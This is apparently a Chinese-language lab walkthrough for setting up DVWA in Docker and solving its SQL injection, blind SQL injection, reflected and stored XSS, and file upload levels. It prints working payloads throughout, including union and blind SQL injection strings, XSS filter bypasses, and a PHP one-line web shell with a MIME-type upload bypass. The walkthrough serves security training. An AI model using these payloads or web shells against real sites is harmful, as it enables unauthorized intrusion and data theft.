Docker搭建DVWA靶场以及刷题记录
- Docker搭建DVWA靶场以及刷题记录
- 靶场搭建
 
- 刷题记录
- SQL Injection
- Low
- Medium
- High
- Impossible
 
- SQL Injection(Blind)
- Low
- Medium
- High
 
- XSS (Reflected)
- Low
- Medium
- High
 
- XSS (Stored)
- Low
- Medium
- High
 
- File Upload
- Low
- Medium
- High
 
 
Docker搭建DVWA靶场以及刷题记录
靶场搭建
- 获取资源
docker pull sagikazarmark/dvwa
- 启动
docker run  -p 8087:80 --name dvwa sagikazarmark/dvwa
- 初始化

 
刷题记录
SQL Injection
Low

 输入
1'//有报错

 可以观察到,入参是被双引号包围的
 构造1"#绕过
 
两个回显位,之后注入语句参考
 
Medium

id提供了可选值,不能直接输入,BurpSuite抓包修改看是否有效
id=3'&Submit=Submit//回显报错信息

 输入的'被转义了,直接输注入语句
id=3 union select 1,1&Submit=Submit

High

 
 点击提交会回显
 
输入特殊语句1',直接回显失败页面,可能是布尔盲注
 
 还有空回显的页面
 
不能盲注,看WriteUp发现是源码设置了limit 1,从而只能检索一行数据
2' union select database(),12 limit 1,1 #

Impossible

 上边的测试方法都没回显了,试试时间盲注
?id=1' and sleep(5)
?id=1" and sleep(5)
?id=1' and sleep(5) #
?id=1" and sleep(5) #
也没有明显的时间差异
SQL Injection(Blind)
Low

 可以看到查询成功回显User ID exists in the database.,否则回显User ID is MISSING from the database.
1 //User ID exists in the database.
1' //User ID is MISSING from the database.
1'# //User ID exists in the database.
之后就是查数据了,参考Less-5
1'  and left(database(),1)='d' #
......
Medium

 抓包修改id值即可
id=5 and length(database()) = 4&Submit=Submit

High

 同样也是查询成功回显User ID exists in the database.,否则回显User ID is MISSING from the database.
1 //User ID exists in the database.
1' //User ID is MISSING from the database.
1'# //User ID exists in the database.
查询数据即可
1' and length(database()) = 4#
XSS (Reflected)
Low

 输入注入语句,直接弹窗成功
<script>alert(1)</script>
Medium
同样输入,但是这次不行了,看下是被如何转义了
<script>alert(1)</script>

 输入的<script>没了
 
 闭合pre标签试试
</pre><script>alert(1)</script>

还是被转义了,这次大小写混合绕过了
</pre><Script>alert(1)</script>
High
输入注入语句,查看页面发现输入还是在pre标签内
<script>alert(1)</script>

尝试闭合
</pre><Script>alert(1)</script>

 逐步测试
</pre>123

</pre><a href="javascript:alert('XSS');">Click me</a>
</pre><a href="#" onclick="alert('XSS')">Click me</a>//点击连接成功弹窗,感觉是屏蔽了`script`
源码如下,确实正则过滤了script
 
XSS (Stored)
Low

 输入注入语句成功弹窗
<script>alert(1)</script>

Medium
<script>alert("Medium")</script>
 输入的<script>没了,大小写和双写混合都没绕过
<Script>alert(321)</script>

看下输入框处的代码,看了WP是对第一个输入框进行攻击
 
 先修改第一个框的输入限制改为30,再输入攻击语句成功弹窗
 
High
存储型的练习没有提供删除功能,每次可以重置一下,点击Setup/Rese tDB
 
 和反射型的一样对script进行了过滤,换一种攻击语句,同样也是针对第一个输入框进行注入
<a href="#" onclick="alert('XSS')">Click me</a>
File Upload
Low

直接上传一句话木马
<?php @eval($_POST['cmd']);?>
提示上传成功
../../hackable/uploads/1.php succesfully uploaded!
http://ip:8087/hackable/uploads/1.php //蚁剑成功连接
Medium

上传一句话木马被提示只允许 JPEG or PNG ,BP抓包确定是否为前端检查,若是则可以抓包修改后缀
 
抓包有记录,说明是传到了后端进行的检测,尝试其他绕过方法,修改
Content-Type: image/jpeg
->
Content-Type:application/octet-stream
上传成功了,说明是检查了MIME type
 
High
上传一句话木马,同样被提示只允许图片文件,上传图片马参考Less-16
 
 但是图片没有被按照PHP执行,还需要一个文件包含漏洞的环境,
 
 新开标签页将Security改为Low,来到靶场下的File Inclusion ,输入图片马地址被成功执行
 



















